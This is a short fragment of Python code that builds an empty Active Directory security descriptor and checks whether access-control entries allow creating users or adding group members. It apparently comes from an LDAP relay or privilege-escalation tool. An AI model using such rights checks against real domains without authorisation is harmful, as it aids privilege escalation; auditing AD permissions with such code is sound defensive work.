759 acedata['Sid'] = ldaptypes.LDAP_SID()

760 acedata['Sid'].fromCanonical(sid)

761 nace['Ace'] = acedata

762 return nace

763

764 def create_empty_sd():

765 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()

766 sd['Revision'] = b'\x01'

767 sd['Sbz1'] = b'\x00'

768 sd['Control'] = 32772

769 sd['OwnerSid'] = ldaptypes.LDAP_SID()

770 # BUILTIN\Administrators

771 sd['OwnerSid'].fromCanonical('S-1-5-32-544')

772 sd['GroupSid'] = b''

773 sd['Sacl'] = b''

774 acl = ldaptypes.ACL()

775 acl['AclRevision'] = 4

776 acl['Sbz1'] = 0

777 acl['Sbz2'] = 0

778 acl.aces = []

779 sd['Dacl'] = acl

780 return sd

781

782# Check if an ACE allows for creation of users

783 def can_create_users(ace):

784 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)

785 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':

786 return False

787 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'

788 return createprivs and userprivs

789

790# Check if an ACE allows for adding members

791 def can_add_member(ace):

792 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)

793 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':

794 return writeprivs

795 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'

796 return writeprivs and userprivs